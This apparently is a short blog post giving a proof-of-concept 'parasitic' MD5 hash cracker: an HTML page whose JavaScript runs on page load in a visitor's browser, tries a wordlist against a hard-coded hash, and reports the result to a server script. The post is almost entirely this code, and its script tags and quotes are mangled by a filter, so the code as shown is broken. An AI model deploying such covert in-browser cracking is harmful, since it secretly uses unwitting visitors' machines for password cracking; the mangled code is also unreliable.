PoC of a Parasitic md5 cracker
<html>
<head>
<title>PoC javascblockedript parasitic cracker by febbiez</title>
<scblockedript type="text/javascblockedript" src="http://5.cdn.blog.com/wp-admin/md5.js"></scblockedript>
<scblockedript type="text/javascblockedript">
function md5(){
document.getElementById('crypt').value=hexMD5(document.getElementById('plain').value);
} function crack(){
//hash=document.getElementById(‘crypt’).value;
hash=”386584bc0d66cf736e5605808b4e7266″;
salt=”;
for(word=0;word<words.length;word++){
if(hash==hexMD5(salt+words[word])){ document.createElement(‘IMG’).src=”/cracked.php?hash=”+hash+”&salt=”+salt+”&plain=”+word;
//window.location=”/cracked.php?hash=”+hash+”&salt=”+salt+”&plain=”+word; return;
}
}
//talk back so we know the scblockedript ran.
window.location=”/cracked.php?failed=”+words[word];
return;
}
words=[
'a',
'b',
'c',
'hellod',
'lol',
'fishcaek'
];
</scblockedript>
</head>
<body onblockedload=”crack()”>
<h3>PoC JS parasitic md5 hash cracker by febbiez</h3>
</body>
</html>
Post a Comment
Silakan memberikan komentar demi kemajuan blog ini.